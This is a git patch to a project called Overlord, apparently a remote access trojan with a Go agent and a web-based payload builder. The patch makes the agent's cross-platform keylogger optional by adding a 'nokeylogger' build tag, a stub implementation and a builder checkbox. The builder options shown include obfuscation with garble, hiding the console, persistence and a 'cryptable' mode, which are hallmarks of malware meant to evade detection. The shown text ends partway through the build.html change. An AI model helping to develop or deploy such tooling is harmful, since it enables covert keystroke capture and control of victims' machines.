From 05eb7385c1239e8dd771e54eae41d5bd1101ac81 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 10 May 2026 17:06:39 -0500 Subject: [PATCH] make keylogger optional --- .../cmd/agent/keylogger/keylogger.go | 3 ++ .../cmd/agent/keylogger/keylogger_darwin.go | 5 ++-- .../cmd/agent/keylogger/keylogger_default.go | 2 +- .../cmd/agent/keylogger/keylogger_disabled.go | 24 ++++++++++++++++ .../cmd/agent/keylogger/keylogger_linux.go | 5 ++-- .../cmd/agent/keylogger/keylogger_windows.go | 5 ++-- Overlord-Client/cmd/agent/session.go | 10 ++++--- Overlord-Server/public/assets/build.js | 6 +++- Overlord-Server/public/build.html | 28 ++++++++++++++++++- Overlord-Server/src/server/build-process.ts | 4 +++ .../src/server/routes/build-routes.ts | 2 ++ 11 files changed, 78 insertions(+), 16 deletions(-) create mode 100644 Overlord-Client/cmd/agent/keylogger/keylogger_disabled.go diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger.go b/Overlord-Client/cmd/agent/keylogger/keylogger.go index 8233b70..993cc59 100644 --- a/Overlord-Client/cmd/agent/keylogger/keylogger.go +++ b/Overlord-Client/cmd/agent/keylogger/keylogger.go @@ -1,3 +1,6 @@ +//go:build !nokeylogger +// +build !nokeylogger + package keylogger import ( diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go b/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go index 520ef79..8374cce 100644 --- a/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go @@ -1,6 +1,5 @@ -// go:build darwin -//go:build darwin -// +build darwin +//go:build darwin && !nokeylogger +// +build darwin,!nokeylogger package keylogger diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_default.go b/Overlord-Client/cmd/agent/keylogger/keylogger_default.go index e41caaa..f6b41fd 100644 --- a/Overlord-Client/cmd/agent/keylogger/keylogger_default.go +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_default.go @@ -1,4 +1,4 @@ -//go:build !windows && !linux && !darwin +//go:build !windows && !linux && !darwin && !nokeylogger package keylogger diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_disabled.go b/Overlord-Client/cmd/agent/keylogger/keylogger_disabled.go new file mode 100644 index 0000000..d27084f --- /dev/null +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_disabled.go @@ -0,0 +1,24 @@ +//go:build nokeylogger +// +build nokeylogger + +package keylogger + +import "time" + +type Keylogger struct{} + +type FileInfo struct { + Name string + Size int64 + Date time.Time +} + +func New() *Keylogger { return nil } + +func (k *Keylogger) Start() error { return nil } +func (k *Keylogger) Stop() {} +func (k *Keylogger) ListFiles() ([]FileInfo, error) { return nil, nil } +func (k *Keylogger) ReadFile(string) ([]byte, error) { return nil, nil } +func (k *Keylogger) ClearAll() error { return nil } +func (k *Keylogger) DeleteFile(string) error { return nil } +func (k *Keylogger) FlushNow() {} diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_linux.go b/Overlord-Client/cmd/agent/keylogger/keylogger_linux.go index 3056913..469bb9e 100644 --- a/Overlord-Client/cmd/agent/keylogger/keylogger_linux.go +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_linux.go @@ -1,6 +1,5 @@ -// go:build linux -//go:build linux -// +build linux +//go:build linux && !nokeylogger +// +build linux,!nokeylogger package keylogger diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go b/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go index 5ebae1a..c36b61c 100644 --- a/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go +++ b/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go @@ -1,6 +1,5 @@ -// go:build windows -//go:build windows -// +build windows +//go:build windows && !nokeylogger +// +build windows,!nokeylogger package keylogger diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index d092531..106c2d2 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -626,10 +626,12 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. defer env.Plugins.Close() env.Keylogger = keylogger.New() - if err := env.Keylogger.Start(); err != nil { - log.Printf("[keylogger] Failed to start: %v", err) - } else { - defer env.Keylogger.Stop() + if env.Keylogger != nil { + if err := env.Keylogger.Start(); err != nil { + log.Printf("[keylogger] Failed to start: %v", err) + } else { + defer env.Keylogger.Stop() + } } dispatcher := handlers.NewDispatcher(env) diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 4fb53a5..40f466b 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -125,6 +125,7 @@ function collectFormSettings() { stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true, disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false, noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false, + enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true, obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false, garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false, garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false, @@ -178,6 +179,7 @@ function applyFormSettings(settings) { if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug); if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo); if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting); + if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger); if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate); if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals); if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny); @@ -390,7 +392,7 @@ const CRYPTABLE_DISABLE_INPUTS = [ "#sleep-seconds", ]; -const CRYPTABLE_HIDE_SECTIONS = [4, 5, 6]; +const CRYPTABLE_HIDE_SECTIONS = [5, 6, 7]; function applyCryptableMode(enabled) { const badge = document.getElementById("cryptable-badge"); @@ -1342,6 +1344,7 @@ form?.addEventListener("submit", async (e) => { const noPrinting = form.querySelector( 'input[name="no-printing"]', ).checked; + const enableKeylogger = form.querySelector('input[name="enable-keylogger"]')?.checked ?? true; const outputNameVal = form.querySelector("#output-name")?.value.trim() || ""; const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false; @@ -1375,6 +1378,7 @@ form?.addEventListener("submit", async (e) => { startupName: enablePersistence && (hasWindowsTarget || hasPersistentUnixTarget) && startupNameVal ? startupNameVal : undefined, hideConsole, noPrinting, + disableKeylogger: !enableKeylogger, outputName: outputNameVal || undefined, garbleLiterals: obfuscate ? garbleLiterals : undefined, garbleTiny: obfuscate ? garbleTiny : undefined, diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index df12ea4..e8176e0 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -285,6 +285,7 @@ +